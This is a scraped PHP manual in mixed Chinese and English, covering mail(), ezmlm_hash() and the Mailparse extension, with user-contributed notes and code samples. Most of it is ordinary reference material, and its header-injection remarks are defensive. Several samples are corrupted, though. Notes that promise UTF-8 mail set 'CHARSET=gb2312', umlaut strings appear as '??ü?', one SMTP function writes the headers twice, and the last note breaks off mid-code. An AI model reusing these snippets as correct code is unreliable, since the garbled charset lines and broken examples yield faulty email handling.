$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= $body.$eol.$eol;

# Finished
$msg .= "--".$mime_boundary."--".$eol.$eol;   // finish with two eol's for better security. see Injection.

# SEND THE EMAIL
ini_set(sendmail_from,'from@example.com');  // the INI lines are to force the From Address to be used !
  mail($emailaddress, $emailsubject, $msg, $headers);
ini_restore(sendmail_from);
?>

I hope this helps.
Jon Webb [Madrid&London]

[EDITOR thiago NOTE: Code has a fix from o.straesser AT gmx DOT de]
lawcd at ntlworld dot com 30-Jan-2006 09:38
For those of you with the exim, if its not sending mail with the -i option and you cant easily change this, you might want to check out the imap_mail() function which works almost exactly the same and doesnt use exim, most web hosts provide this. If you using your own server then php needs to be compiled with imap libraries etc.

See http://php.net/manual/en/function.imap-mail.php
aweather88 at gmail dot com 14-Dec-2005 02:45
I spent hours searching the web trying to figure out why I was getting a "WARNING: mail(): SMTP server response: 501 5.5.4 Invalid Address " every time I was using the mail() function on my server (Win2K3,IIS 6.0,PHP4.4.1).  I knew everything was setup properly for SMTP based on other non IIS 6.0 configurations.

Turns out that the IIS 6.0 SMTP service does not like formatting of the "From" field in mail headers.  For instance:
<?PHP
   //This line DOES NOT send  mail message correctly
   $headers .= "From: \"".$fromname."\" <".$fromaddress.">\n";
?>
However this works:
<?PHP
   //This line sends mail message correctly
   $headers .= "From: \"".$fromaddress."\"\n";
?>

The fix is in Microsoft Article ID 291828 ( http://support.microsoft.com/?id=291828 ).  Even though the "bug" workaround is for IIS 6.0 on Exchange 2003 communicating with a UNIX server, THIS SOLVES THE PROBLEM.  Just skip down to the last section for Exchange 2003 and follow the instructions to modify the IIS 6 MetaBase with the MetaBase Explorer found in the IIS 6 Resource Kit.
josh at sdfahrenheit dot com 15-Apr-2004 07:52
For anyone having problems with attached files coming through garbled, make sure you have magic_quotes_runtime set to Off in your php.ini - it adds funky escape chars to your attached data and garbles the attachment.

This was giving me all kinds of grief.


计算 EZMLM 所需的散列值

  • ? Mail 函数
  • mail ?
  • PHP Manual
  • Mail 函数
  • 计算 EZMLM 所需的散列值

ezmlm_hash

(PHP 4 >= 4.0.2, PHP 5, PHP 7)

ezmlm_hash — 计算 EZMLM 所需的散列值

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

ezmlm_hash(string $addr): int

ezmlm_hash() 计算用于在 MySQL 数据库中保存 EZMLM 邮件列表的散列值。

参数

addr

要进行散列算法的电子邮件地址。

返回值

addr 的散列值。

示例

Example #1 计算散列值并订阅一个用户

<?php

$user = "joecool@example.com";
$hash = ezmlm_hash($user);
$query = sprintf("INSERT INTO sample VALUES (%s, '%s')", $hash, $user);
$db->query($query); // using PHPLIB db interface

?>

User Contributed Notes

thedragon at mediocreshit dot com 03-Aug-2007 06:55
ezmlm will add a user to the list from a mail() call if you use the -f extra flag in the function.
Example:

mail($to,$title,$email,$headers,"-tfromemail@example.com");

The extra flag being a -t followed by no space and the email address you want the email to appear as though it's being sent from. I spent hours messing with this to try to allow users to sign up for my mailing list by marking a check box while signing up on my site, ezmlm ignored everything until I threw that extra parameter in there.

Hope this helps.
jens at NOSPAM dot rootsy dot nu 30-Sep-2005 12:07
This is really ezmlm documentation, but I certanly would have been happy if I found it anywhere during my time of trial. I am not a Linux expert, as you probably will notice, so things I do/did that might sound incredibly stupid to those who do know. I blame hard-to-find documentation :)

I wanted a page where a visitor could add their address to my mailinglist. That shouldn't be too hard, or atleastso I thought...

First I tried mailing the mailinglist. For some reason, the mailinglist didn't see my "From:" -header and it failed miserably.

Then I tried to use system() to call ezmlm-sub, which only produced the error-code 111. That was an access problem. So, I tried making the mailinglist availible to the website, but the change in permissions caused the mailserver to malfunction (as opposed to mailfunction....). It took a while to sort that mess out.

I couldn't find any guide as howto add mysql-support. The big problem was how to know which tables was needed. Apperantly, this is all that is needed:

ezmlm-mktab listname | mysql -u root -p databasename

Then its just adding the mailinglist with mysql-support i qmailadmin. It doesn't seem to allow socket connection to the database, so iptables has to allow local connections to the mysql port.

Hope this helps someone.
Tim in SF 10-Dec-2003 07:57
EZ Mailing List Manager (EZMLM) is a mailing list manager which allows users to create their own mailing lists with a single command.

It seems to require qmail.

See:
http://www.ezmlm.org/
http://www.qmail.org/top.html#ezmlm


发送邮件

  • ? ezmlm_hash
  • Mailparse ?
  • PHP Manual
  • Mail 函数
  • 发送邮件

mail

(PHP 4, PHP 5, PHP 7, PHP 8)

mail — 发送邮件

说明

mail(
string $to,
string $subject,
string $message,
array|string $additional_headers = [],
string $additional_params = ""
): bool

发送一封电子邮件。

参数

to

电子邮件收件人，或收件人列表。

本字符串的格式必须符合 » RFC 2822。例如：

  • user@example.com
  • user@example.com, anotheruser@example.com
  • User <user@example.com>
  • User <user@example.com>, Another User <anotheruser@example.com>

subject

电子邮件的主题。

Caution

本项不能包含任何换行符，否则邮件可能无法正确发送。

message

所要发送的消息。

行之间必须以一个 CRLF（\r\n）分隔。每行不能超过 70 个字符。

Caution

（Windows 下）当 PHP 直接连接到 SMTP 服务器时，如果在一行开头发现一个句号，则会被删掉。要避免此问题，将单个句号替换成两个句号。

<?php
$text = str_replace("\n.", "\n..", $text);
?>

additional_headers（可选项）

String or array to be inserted at the end of the email header.

This is typically used to add extra headers (From, Cc, and Bcc). Multiple extra headers should be separated with a CRLF (\r\n). If outside data are used to compose this header, the data should be sanitized so that no unwanted headers could be injected.

If an array is passed, its keys are the header names and its values are the respective header values.

Note:

Before PHP 5.4.42 and 5.5.27, repectively, additional_headers did not have mail header injection protection. Therefore, users must make sure specified headers are safe and contains headers only. i.e. Never start mail body by putting multiple newlines.

Note:

When sending mail, the mail must contain a From header. This can be set with the additional_headers parameter, or a default can be set in php.ini.

Failing to do this will result in an error message similar to Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing. The From header sets also Return-Path when sending directly via SMTP (Windows only).

Note:

If messages are not received, try using a LF (\n) only. Some Unix mail transfer agents (most notably » qmail) replace LF by CRLF automatically (which leads to doubling CR if CRLF is used). This should be a last resort, as it does not comply with » RFC 2822.

additional_params (optional)

The additional_params parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.

Since escapeshellcmd() is applied automatically, some characters that are allowed as email addresses by internet RFCs cannot be used. mail() can not allow such characters, so in programs where the use of such characters is required, alternative means of sending emails (such as using a framework or a library) is recommended.

The user that the webserver runs as should be added as a trusted user to the sendmail configuration to prevent a 'X-Warning' header from being added to the message when the envelope sender (-f) is set using this method. For sendmail users, this file is /etc/mail/trusted-users.

返回值

如果邮件成功接受投递，返回 true，否则返回 false。

同样重要的是要注意到，邮件仅接受了投递并不意味着邮件实际上达到预定目的地。

更新日志

版本 | 说明
7.2.0 | 现在 additional_headers 参数开始支持 array。

示例

Example #1 发送邮件

使用 mail() 发送简单的邮件：

<?php
// 消息
$message = "Line 1\r\nLine 2\r\nLine 3";

// 如果任何一行超过 70 个字符，应该使用 wordwrap()
$message = wordwrap($message, 70, "\r\n");

// 发送
mail('caffeinated@example.com', 'My Subject', $message);
?>

Example #2 使用额外标头发送邮件

The addition of basic headers, telling the MUA the From and Reply-To addresses:

<?php
$to = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
'Reply-To: webmaster@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);
?>

Example #3 使用 array 形式的额外标头发送邮件

This example sends the same mail as the example immediately above, but passes the additional headers as array (available as of PHP 7.2.0).

<?php
$to = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = array(
'From' => 'webmaster@example.com',
'Reply-To' => 'webmaster@example.com',
'X-Mailer' => 'PHP/' . phpversion()
);

mail($to, $subject, $message, $headers);
?>

Example #4 Sending mail with an additional command line parameter.

The additional_params parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path.

<?php
mail('nobody@example.com', 'the subject', 'the message', null,
'-fwebmaster@example.com');
?>

Example #5 Sending HTML email

It is also possible to send HTML email with mail().

<?php
// Multiple recipients
$to = 'johny@example.com, sally@example.com'; // note the comma

// Subject
$subject = 'Birthday Reminders for August';

// Message
$message = '
<html>
<head>
<title>Birthday Reminders for August</title>
</head>
<body>
<p>Here are the birthdays upcoming in August!</p>
<table>
<tr>
<th>Person</th><th>Day</th><th>Month</th><th>Year</th>
</tr>
<tr>
<td>Johny</td><td>10th</td><td>August</td><td>1970</td>
</tr>
<tr>
<td>Sally</td><td>17th</td><td>August</td><td>1973</td>
</tr>
</table>
</body>
</html>
';

// To send HTML mail, the Content-type header must be set
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-type: text/html; charset=iso-8859-1';

// Additional headers
$headers[] = 'To: Mary <mary@example.com>, Kelly <kelly@example.com>';
$headers[] = 'From: Birthday Reminder <birthday@example.com>';
$headers[] = 'Cc: birthdayarchive@example.com';
$headers[] = 'Bcc: birthdaycheck@example.com';

// Mail it
mail($to, $subject, $message, implode("\r\n", $headers));
?>

Note:

If intending to send HTML or otherwise Complex mails, it is recommended to use the PEAR package » PEAR::Mail.

注释

Note:

The SMTP implementation (Windows only) of mail() differs in many ways from the sendmail implementation. First, it doesn't use a local binary for composing messages but only operates on direct sockets which means a MTA is needed listening on a network socket (which can either on the localhost or a remote machine).

Second, the custom headers like From:, Cc:, Bcc: and Date: are not interpreted by the MTA in the first place, but are parsed by PHP.

As such, the to parameter should not be an address in the form of "Something <someone@example.com>". The mail command may not parse this properly while talking with the MTA.

Note:

值得注意的是，mail() 不适合在循环中发送大量邮件。发送每封邮件，此函数为打开和关闭一个套接字，效率不高。

要发送大量邮件，请参阅 » PEAR::Mail 和 » PEAR::Mail_Queue 包。

Note:

以下 RFC 可能有用： » RFC 1896、» RFC 2045、 » RFC 2046、» RFC 2047、 » RFC 2048、» RFC 2049 和 » RFC 2822。

参见

  • mb_send_mail() - 发送编码过的邮件
  • imap_mail() - Send an email message
  • » PEAR::Mail
  • » PEAR::Mail_Mime

User Contributed Notes

priyanshkala3 at gmail dot com 06-Dec-2023 11:21
Sending mail using XAMPP server

I encountered numerous issues while attempting to send emails using the XAMPP server. However, I eventually found the correct method to accomplish it.

Configuring PHP's mail functionality to work with Gmail's SMTP server involves editing the `php.ini` and `sendmail.ini` configuration files. Below are the formal steps for setting up PHP to send emails through Gmail's SMTP server using XAMPP:

Configuring php.ini:

1. Open `php.ini` in an editor:
   Open the `php.ini` configuration file in your preferred text editor.

2. Locate the mail function:
   Use the search function (Ctrl + F) to find the section related to the mail function within the `php.ini` file.

3. Update mail function settings:
   Copy and paste the following configuration parameters into the mail function section. Comment out or disable all other settings related to mail.

   php.ini code to be edited:

   SMTP=smtp.gmail.com
   smtp_port=587
   sendmail_from = yourmail@gmail.com
   sendmail_path = write_sendmail.exe_path

4. Save the changes:
   Save the `php.ini` file after applying the modifications.

Configuring sendmail.ini (in XAMPP folder):

1. Open `sendmail.ini` in XAMPP folder:
   Locate and open the `sendmail.ini` configuration file within the XAMPP directory.

2. Adjust SMTP settings:
   Insert the following content into the `sendmail.ini` file, marking other configurations as comments:

   sendmail.ini code :

   smtp_server=smtp.gmail.com
   smtp_port=587
   error_logfile=error.log
   debug_logfile=debug.log
   auth_username=yourmail@gmail.com
auth_password=app_password_after_enabling_two_factor_authentication_for_your_mail_id
   force_sender=priyansh.kala.4@gmail.com

3. Save the changes:
   Save the `sendmail.ini` file after inserting the specified configurations.

These steps configure PHP to utilize Gmail's SMTP server for sending emails. Ensure that the modifications are saved and that the necessary XAMPP services are restarted for the changes to take effect.

Please note that using hardcoded passwords in configuration files poses a security risk. Storing passwords directly in plain text files should be avoided in production environments. Consider using environment variables or secure credential management systems for better security practices.

Code for sending mail-:

<?php
$subject = "Mail for checking";
$msg = "Hey! Let us play with PHP.";
$receiver = "reciever@gmail.com";
mail($receiver, $subject, $msg);
?>
Anonymous 20-Mar-2023 12:44
So far I used the following to make sure special charakters where correctly shown in the mail subject:

<?php $subject = '=?utf-8?B?' . base64_encode($subject) . '?='; ?>

But with very long subjects, the header line gets longer than 76 chars and some e-mail servers really don't like that... So this is my new solution:

<?php $subject = substr(mb_encode_mimeheader("Subject: " . $subject, 'utf-8', 'B', "\r\n", 0), 9); ?>

Please note: I added "Subject: " in front of $subject and stripped it of afterwards. This is to make sure, that the necessarry space is reserved, as PHP will add the "Subject: " itself...
imme_emosol 22-Feb-2023 08:34
Also see chunk_split (as "alternative" to wordwrap).
atesin > gmail 26-Jan-2023 12:23
mail() internals:

doing some tests i can say... if sendmail_path is defined in php.ini or by ini.set(), by calling function like...

mail($to, $subject, $message, $headers, $params)

would be like if php open a shell internally, execute this command, send this text to stdin, and return true if return value == 0

------------
shell> $sendmail_path $params
To: $to
Subject: $subject
$headers

$message
(EOF)
------------

in windows instead using php smtp which is very limited, i prefer to force use sendmail-like behavior, by setting sendmail_path and then use msmtp for windows
andrew at my-syte dot com 31-Oct-2022 02:36
Regarding To:

be careful not to duplicate To in the additional_headers,

lest gmail already flags it thus:

host gmail-smtp-in.l.google.com [142.251.xx.xx]
SMTP error from remote mail server after end of data:
550-5.7.1 [xxx.xxx.xx.xx] This message is not RFC 5322 compliant, the issue is:
550-5.7.1 duplicate To headers. To reduce the amount of spam sent to Gmail,
550-5.7.1 this message has been blocked. Please review
550 5.7.1 RFC 5322 specifications for more information.
pangz dot lab at gmail dot com 06-Jul-2020 08:42
* Sending email with attachment

function sendMail(
    string $fileAttachment,
    string $mailMessage = MAIL_CONF["mailMessage"],
    string $subject     = MAIL_CONF["subject"],
    string $toAddress   = MAIL_CONF["toAddress"],
    string $fromMail    = MAIL_CONF["fromMail"]
): bool {

    $fileAttachment = trim($fileAttachment);
    $from           = $fromMail;
    $pathInfo       = pathinfo($fileAttachment);
    $attchmentName  = "attachment_".date("YmdHms").(
    (isset($pathInfo['extension']))? ".".$pathInfo['extension'] : ""
    );

    $attachment    = chunk_split(base64_encode(file_get_contents($fileAttachment)));
    $boundary      = "PHP-mixed-".md5(time());
    $boundWithPre  = "\n--".$boundary;

    $headers   = "From: $from";
    $headers  .= "\nReply-To: $from";
    $headers  .= "\nContent-Type: multipart/mixed; boundary=\"".$boundary."\"";

    $message   = $boundWithPre;
    $message  .= "\n Content-Type: text/plain; CHARSET=gb2312\n";
    $message  .= "\n $mailMessage";

    $message .= $boundWithPre;
    $message .= "\nContent-Type: application/octet-stream; name=\"".$attchmentName."\"";
    $message .= "\nContent-Transfer-Encoding: base64\n";
    $message .= "\nContent-Disposition: attachment\n";
    $message .= $attachment;
    $message .= $boundWithPre."--";

    return mail($toAddress, $subject, $message, $headers);
}

* Sending email in html

function sendHtmlMail(
    string $mailMessage = MAIL_CONF["mailMessage"],
    string $subject     = MAIL_CONF["subject"],
    array $toAddress    = MAIL_CONF["toAddress"],
    string $fromMail    = MAIL_CONF["fromMail"]
): bool {

    $to        = implode(",", $toAddress);
    $headers[] = 'MIME-Version: 1.0';
    $headers[] = 'Content-type: text/html; charset=iso-8859-1';
    $headers[] = 'To: '.$to;
    $headers[] = 'From: '.$fromMail;

    return mail($to, $subject, $mailMessage, implode("\r\n", $headers));
}
Anonymous 12-Oct-2019 07:36
If you notice wrong displayed characters in the email it's because you need to properly set the Content-Type and the Charset in the headers of the email:

<?php
$headers = 'Content-Type: text/plain; CHARSET=gb2312' . "\r\n";
?>

Mostly, UTF-8 is your best choice.

You can set custom headers with the fourth parameter of the mail() function.

To make the whole thing waterproof, add the following header too:

<?php
$headers .= 'Content-Transfer-Encoding: base64' . "\r\n";
?>

Now you can use the combination of UTF-8 and Base64 to properly encode the subject line and the recipient name like this:

<?php
$subject = '=?UTF-8?B?' . base64_encode('Test email with German Umlauts ??ü?') . '?=';
$recipient = '=?UTF-8?B?' . base64_encode('Margret Müller') . '?= <recipient@domain.com>';
?>

And don't forget to Base64 encode the email message too:

<?php
$message = base64_encode('This email contains German Umlauts ??ü?.');
?>

All references are taken from:
https://dev.to/lutvit/how-to-make-the-php-mail-function-awesome-3cii
Mark Simon 05-Jul-2019 07:04
It is worth noting that you can set up a fake sendmail program using the sendmail_path directive in php.ini.

Despite the comment in that file, sendmail_path also works for Window. From https://www.php.net/manual/en/mail.configuration.php#ini.sendmail-path:

This directive works also under Windows. If set, smtp, smtp_port and sendmail_from are ignored and the specified command is executed.
charles dot fisher at arconic dot com 10-Nov-2017 07:34
I migrated an application to a platform without a local transport agent (MTA). I did not want to configure an MTA, so I wrote this xxmail function to replace mail() with calls to a remote SMTP server. Hopefully it is of some use.

function xxmail($to, $subject, $body, $headers)
{
 $smtp = stream_socket_client('tcp://smtp.yourmail.com:25', $eno, $estr, 30);

 $B = 8192;
 $c = "\r\n";
 $s = 'myapp@someserver.com';

 fwrite($smtp, 'helo ' . $_ENV['HOSTNAME'] . $c);
  $junk = fgets($smtp, $B);

 // Envelope
 fwrite($smtp, 'mail from: ' . $s . $c);
  $junk = fgets($smtp, $B);
 fwrite($smtp, 'rcpt to: ' . $to . $c);
  $junk = fgets($smtp, $B);
 fwrite($smtp, 'data' . $c);
  $junk = fgets($smtp, $B);

 // Header
 fwrite($smtp, 'To: ' . $to . $c);
 if(strlen($subject)) fwrite($smtp, 'Subject: ' . $subject . $c);
 if(strlen($headers)) fwrite($smtp, $headers); // Must be \r\n (delimited)
 fwrite($smtp, $headers . $c);

 // Body
 if(strlen($body)) fwrite($smtp, $body . $c);
 fwrite($smtp, $c . '.' . $c);
  $junk = fgets($smtp, $B);

 // Close
 fwrite($smtp, 'quit' . $c);
  $junk = fgets($smtp, $B);
 fclose($smtp);
}
eeeugeneee 21-Jul-2017 01:39
Send mail with minimal requirements from email services.

<?php
    $encoding = "utf-8";

    // Preferences for Subject field
    $subject_preferences = array(
        "input-charset" => $encoding,
        "output-charset" => $encoding,
        "line-length" => 76,
        "line-break-chars" => "\r\n"
    );

    // Mail header
    $header = "Content-type: text/html; charset=".$encoding." \r\n";
    $header .= "From: ".$from_name." <".$from_mail."> \r\n";
    $header .= "MIME-Version: 1.0 \r\n";
    $header .= "Content-Transfer-Encoding: 8bit \r\n";
    $header .= "Date: ".date("r (T)")." \r\n";
    $header .= iconv_mime_encode("Subject", $mail_subject, $subject_preferences);

    // Send mail
    mail($mail_to, $mail_subject, $mail_message, $header);
?>
php at simoneast dot net 31-May-2017 05:19
Often it's helpful to find the exact error message that is triggered by the mail() function. While the function doesn't provide an error directly, you can use error_get_last() when mail() returns false.

<?php
$success = mail('example@example.com', 'My Subject', $message);
if (!$success) {
    $errorMessage = error_get_last()['message'];
}
?>

(Tested successfully on Windows which uses SMTP by default, but sendmail on Linux/OSX may not provide the same level of detail.)

Thanks to https://stackoverflow.com/a/20203870/195835
chris at ocproducts dot com 26-Apr-2017 10:04
The 'sendmail' executable which PHP uses on Linux/Mac (not Windows) expects "\n" as a line separator.

This executable is a standard, and emulated by other MTAs.

"\n" is confirmed required for qmail and postfix, probably also for sendmail and exim but I have not tested.

If you pass through using "\r\n" as a separator it may appear to work, but your email will be subtly corrupted and some middleware may break. It only works because some systems will clean up your mistake.

If you are implementing DKIM be very careful, as DKIM checks will fail (at least on popular validation tools) if you screw this up. DKIM must be calculated using "\r\n" but then you must switch it all to "\n" when using the PHP mail function.

On Windows, however, you should use "\r\n" because PHP is using SMTP in this situation, and hence the normal rules of the SMTP protocol (not the normal rules of Unix piping) apply.
Anonymous 14-Dec-2016 10:18
Security advice: Although it is not documented, for the parameters $to and $subject the mail() function changes at least \r and \n to space. So these parameters are safe against injection of additional headers. But you might want to check $to for commas as these separate multiple addresses and you might not want to send to more than one recipient.

The crucial part is the $additional_headers parameter. This parameter can't be cleaned by the mail() function. So it is up to you to prevent unwanted \r or \n to be inserted into the values you put in there. Otherwise you just created a potential spam distributor.
pavel.lint at vk.com 16-May-2012 11:22
Here's a small handy function I use to send email in UTF-8.

 <?php
function mail_utf8($to, $from_user, $from_email,
                                             $subject = '(No subject)', $message = '')
   {
      $from_user = "=?UTF-8?B?".base64_encode($from_user)."?=";
      $subject = "=?UTF-8?B?".base64_encode($subject)."?=";

      $headers = "From: $from_user <$from_email>\r\n".
               "MIME-Version: 1.0" . "\r\n" .
               "Content-type: text/html; CHARSET=gb2312" . "\r\n";

     return mail($to, $subject, $message, $headers);
   }
?>
rexlorenzo at gmail dot com 02-May-2012 01:24
Be careful to not put extra spaces for the $headers variable.

For example, this didn't work on our servers:

$headers = "From: $from \r\n Bcc: $bcc \r\n";

But this did:

$headers = "From: $from\r\nBcc: $bcc\r\n";

Notice the removal of the spaces around the first \r\n.
Max AT 15-Feb-2012 09:26
To define a mail sensitivity you have to put this line in the headers:

<?php
        $headers = "MIME-Version: 1.0\n" ;
        $headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\n";

        $headers .= "Sensitivity: Personal\n";

 $status   = mail($to, $subject, $message,$headers);
?>

Possible Options:
Sensitivity: Normal, Personal, Private and Company-Confidential

These will be recognised and handled in Outlook, Thunderbird and others.
ABOMB 30-Jan-2012 10:16
I was having delivery issues from this function to Gmail, Yahoo, AOL, etc.  I used the notes here to figure that you need to be setting your Return-Path to a valid email to catch bounces.  There are two extra delivery gotchas on top of that:

1) The domain in the email used in the -f option in the php.ini sendmail parameter or in the mail() extra parameters field, needs to have a valid SPF record for the domain (in DNS as a "TXT" record type for sure and add an additional  "SPF" type record if possible).  Why? That's header field being used for spam checks.

2) You should also use a domain key or DKIM.  The trick here is that the domain key/DKIM is case sensitive!  I used Cpanel to create my domain key which automatically used all lowercase domain names in the key creation.  I found when  sending email and using a camel case "-f account@MyDomainHere.Com" option, my key was not accepted.  However it was accepted when I used "-f account@mydomainhere.com".

There are many other factors that can contribute to mail not getting to inboxes, including your own multiple failed testing attempts, so I suggest you consult each site's guidelines and don't ask me for help.  These are just the couple technical issues that helped my case.

I hope this saves someone some time and headaches...
Porjo 06-Jul-2010 11:19
Make sure you enclose \r\n in double quotes (not single quotes!) so that PHP can translate that into the correct linefeed code
Ben Cooke 15-Dec-2005 05:34
Note that there is a big difference between the behavior of this function on Windows systems vs. UNIX systems. On Windows it delivers directly to an SMTP server, while on a UNIX system it uses a local command to hand off to the system's own MTA.

The upshot of all this is that on a Windows system your  message and headers must use the standard line endings \r\n as prescribed by the email specs. On a UNIX system the MTA's "sendmail" interface assumes that recieved data will use UNIX line endings and will turn any \n to \r\n, so you must supply only \n to mail() on a UNIX system to avoid the MTA hypercorrecting to \r\r\n.

If you use plain old \n on a Windows system, some MTAs will get a little upset. qmail in particular will refuse outright to accept any message that has a lonely \n without an accompanying \r.
php dot net at schrecktech dot com 02-Mar-2005 04:07
When sending MIME email make sure you follow the documentation with the "70" characters per line...you may end up with missing characters...and that is really hard to track down...


Mailparse

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Mailparse 函数
    • mailparse_determine_best_xfer_encoding — Gets the best way of encoding
    • mailparse_msg_create — Create a mime mail resource
    • mailparse_msg_extract_part_file — Extracts/decodes a message section
    • mailparse_msg_extract_part — Extracts/decodes a message section
    • mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding
    • mailparse_msg_free — Frees a MIME resource
    • mailparse_msg_get_part_data — Returns an associative array of info about the message
    • mailparse_msg_get_part — Returns a handle on a given section in a mimemessage
    • mailparse_msg_get_structure — Returns an array of mime section names in the supplied message
    • mailparse_msg_parse_file — Parses a file
    • mailparse_msg_parse — Incrementally parse data into buffer
    • mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses
    • mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp
    • mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

User Contributed Notes

There are no user contributed notes for this page.


简介

Mailparse is an extension for parsing and working with email messages. It can deal with » RFC 822 and » RFC 2045 (MIME) compliant messages.

Mailparse is stream based, which means that it does not keep in-memory copies of the files it processes - so it is very resource efficient when dealing with large messages.

Note:

Mailparse requires the mbstring extension, and mbstring must be loaded before mailparse.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。 安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/mailparse.

In order to use these functions you must compile PHP with mailparse support by using the --enable-mailparse configure option.

Windows users will enable php_mailparse.dll inside of php.ini in order to use these functions. 此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

It is necessary that the mbstring extension is loaded before mailparse.

User Contributed Notes

Anonymous 04-Jan-2022 04:25
To install on centos try:

  > yum install php-cli php-mailparse

  ..and then restart apache..

  > systemctl restart httpd


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Mailparse 配置选项
名字 | 默认 | 可修改范围 | 更新日志
mailparse.def_charset | "us-ascii" | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

mailparse.def_charset string

The default character set.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

Mailparse defines the resource type mailparse_mail_structure, which is returned by mailparse_msg_create() and mailparse_msg_parse_file().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

MAILPARSE_EXTRACT_OUTPUT (int)
MAILPARSE_EXTRACT_STREAM (int)
MAILPARSE_EXTRACT_RETURN (int)

User Contributed Notes

There are no user contributed notes for this page.


Mailparse 函数

Table of Contents

  • mailparse_determine_best_xfer_encoding — Gets the best way of encoding
  • mailparse_msg_create — Create a mime mail resource
  • mailparse_msg_extract_part_file — Extracts/decodes a message section
  • mailparse_msg_extract_part — Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding
  • mailparse_msg_free — Frees a MIME resource
  • mailparse_msg_get_part_data — Returns an associative array of info about the message
  • mailparse_msg_get_part — Returns a handle on a given section in a mimemessage
  • mailparse_msg_get_structure — Returns an array of mime section names in the supplied message
  • mailparse_msg_parse_file — Parses a file
  • mailparse_msg_parse — Incrementally parse data into buffer
  • mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses
  • mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp
  • mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

User Contributed Notes

iwarner at triangle-solutions dot com 21-May-2004 08:31
Also dont forget to LOAD mbstring before you load mailparse

example in the php.ini place in this order:

extension=php_mbstring.dll
extension=php_mailparse.dll

Or you will get an error.

Ian
boris at gamate dot com 12-Sep-2003 06:11
Example how to handle mail content from a variable:

<?php

$buffer = [...] // Mail Content from pipe or whatever

$mail = mailparse_msg_create();
mailparse_msg_parse($mail,$buffer);
$struct = mailparse_msg_get_structure($mail);

foreach($struct as $st) {
    $section = mailparse_msg_get_part($mail, $st);
    $info = mailparse_msg_get_part_data($section);

    print_r($info);
}

?>
wberrier at yahoo dot com 09-Jul-2002 12:45
[Authors note:
The tarball for 4.2.x can be found here:
http://thebrainroom.com/opensource/php/mailparse.php
and contains a script called try.php that demonstrates the usage of these functions.
]

I've pasted the contents of the file below:

<?php
/*
 * This is a simple email viewer.
 * make sure that $filename points to a file containing an email message and
 * load this page in your browser.
 * You will be able to choose a part to view.
 * */

$filename = "uumsg";

/* parse the message and return a mime message resource */
$mime = mailparse_msg_parse_file($filename);
/* return an array of message parts - this contsists of the names of the parts
 * only */
$struct = mailparse_msg_get_structure($mime);

echo "<table>\n";
/* print a choice of sections */
foreach($struct as $st) {
        echo "<tr>\n";
        echo "<td><a href=\"$PHP_SELF?showpart=$st\">$st</a></td>\n";
        /* get a handle on the message resource for a subsection */
        $section = mailparse_msg_get_part($mime, $st);
        /* get content-type, encoding and header information for that section */
        $info = mailparse_msg_get_part_data($section);
        echo "\n";
        echo "<td>" . $info["content-type"] . "</td>\n";
        echo "<td>" . $info["content-disposition"] . "</td>\n";
        echo "<td>" . $info["disposition-filename"] . "</td>\n";
        echo "<td>" . $info["charset"] . "</td>\n";
        echo "</tr>";
}
echo "</table>";

/* if we were called to display a part, do so now */
if ($showpart)  {
        /* get a handle on the message resource for the desired part */
        $sec = mailparse_msg_get_part($mime, $showpart);

        echo "<table border=1><tr><th>Section $showpart</th></tr><tr><td>";
        ob_start();
        /* extract the part from the message file and dump it to the output buff
er
         * */
        mailparse_msg_extract_part_file($sec, $filename);
        $contents = ob_get_contents();
        ob_end_clean();
        /* quote the message for safe display in a browser */
        echo nl2br(htmlentities($contents)) . "</td></tr></table>";;
}
?>


Gets the best way of encoding

  • ? Mailparse 函数
  • mailparse_msg_create ?
  • PHP Manual
  • Mailparse 函数
  • Gets the best way of encoding

mailparse_determine_best_xfer_encoding

(PECL mailparse >= 0.9.0)

mailparse_determine_best_xfer_encoding — Gets the best way of encoding

说明

mailparse_determine_best_xfer_encoding(resource $fp): string

Figures out the best way of encoding the content read from the given file pointer.

参数

fp

A valid file pointer, which must be seek-able.

返回值

Returns one of the character encodings supported by the mbstring module.

示例

Example #1 mailparse_determine_best_xfer_encoding() example

<?php

$fp = fopen('somemail.eml', 'r');
echo 'Best encoding: ' . mailparse_determine_best_xfer_encoding($fp);

?>

以上示例的输出类似于：

Best encoding: 7bit

User Contributed Notes

ramoncin at hotmail dot com 11-Mar-2021 05:10
<?php
session_start();
?>
<?php
